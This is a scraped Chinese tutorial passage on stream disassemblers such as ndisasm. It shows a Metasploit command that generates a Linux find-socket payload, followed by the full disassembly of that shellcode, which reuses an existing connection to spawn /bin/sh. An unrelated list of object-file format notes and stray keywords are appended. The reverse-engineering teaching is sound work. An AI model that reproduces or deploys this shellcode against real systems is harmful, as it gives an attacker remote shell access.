反彙編器

有不少工具均可以生成二進制目標文件的死列表形式的反彙編代碼。PE、ELF和MACH-O文件可分別使用dumpbin、objdump和otool進行反彙編。可是,它們中的任何一個都沒法處理任意格式的二進制文件。有時候,你會遇到一些並不採用經常使用文件格式的二進制文件,在這種狀況下,你就須要一些可以從用戶指定的偏移量開始反彙編過程的工具。linux

有兩個用於x86指令集的流式反彙編器(stream disassembler):ndisasm和diStorm 。ndisasm是Netwide Assembler(NASM) 中的一個工具。下面的例子說明了如何使用ndisasm反彙編一段由Metasploit框架 生成的shellcode:shell

 
  1. idabook# ./msfpayload linux_ia32_findsock CPORT=4444 R > fs  
  2. idabook# ls -l fs  
  3. -rw-r--r-- 1 ida ida 62 Oct 30 15:49 fs  
  4. idabook# ndisasm -u fs  
  5. 00000000  31D2              xor edx,edx  
  6. 00000002  52                push edx  
  7. 00000003  89E5              mov ebp,esp  
  8. 00000005  6A07              push byte +0x7  
  9. 00000007  5B                pop ebx  
  10. 00000008  6A10              push byte +0x10  
  11. 0000000A  54                push esp  
  12. 0000000B  55                push ebp  
  13. 0000000C  52                push edx  
  14. 0000000D  89E1              mov ecx,esp  
  15. 0000000F  FF01              inc dword [ecx]  
  16. 00000011  6A66              push byte +0x66  
  17. 00000013  58                pop eax  
  18. 00000014  CD80              int 0x80  
  19. 00000016  66817D02115C      cmp word [ebp+0x2],0x5c11  
  20. 0000001C  75F1              jnz 0xf  
  21. 0000001E  5B                pop ebx  
  22. 0000001F  6A02              push byte +0x2  
  23. 00000021  59                pop ecx  
  24. 00000022  B03F              mov al,0x3f  
  25. 00000024  CD80              int 0x80  
  26. 00000026  49                dec ecx  
  27. 00000027  79F9              jns 0x22  
  28. 00000029  52                push edx  
  29. 0000002A  682F2F7368        push dword 0x68732f2f  
  30. 0000002F  682F62696E        push dword 0x6e69622f  
  31. 00000034  89E3              mov ebx,esp  
  32. 00000036  52                push edx  
  33. 00000037  53                push ebx  
  34. 00000038  89E1              mov ecx,esp  
  35. 0000003A  B00B              mov al,0xb  
  36. 0000003C  CD80              int 0x80 

因爲流式反彙編很是靈活,所以它的用途至關普遍。例如,在分析網絡數據包中可能包含shellcode的計算機網絡攻擊時,就能夠採用流式反彙編器來反彙編數據包中包含shellcode的部分,以分析惡意負載的行爲。另一種狀況是分析那些格式未知的ROM鏡像。ROM中有些部分是數據,其餘部分則爲代碼,可使用流式反彙編器來反彙編鏡像中的代碼。sass

1. VC,GCC的obj,lib格式爲COFF,可相互通用。網絡

2. VC,GCC的obj,lib可經過coff2omf轉成OMF格式,但VC在編譯時要加/Zl選項。
3. VC,GCC的typelib可經過coff2omf轉成OMF格式。
4. 因爲BCB的OMF是非標的,因此VC的linker沒法識別,但它可識別標準的OMF格式。
5. editbin可將標準的OMF轉爲COFF(只能轉obj,不能轉lib)。
6. VC,GCC,BCB的二進制查看分別爲dumpbin,objdump,tdump。tdump的-C可查看COFF格式。框架

相關文章
相關標籤/搜索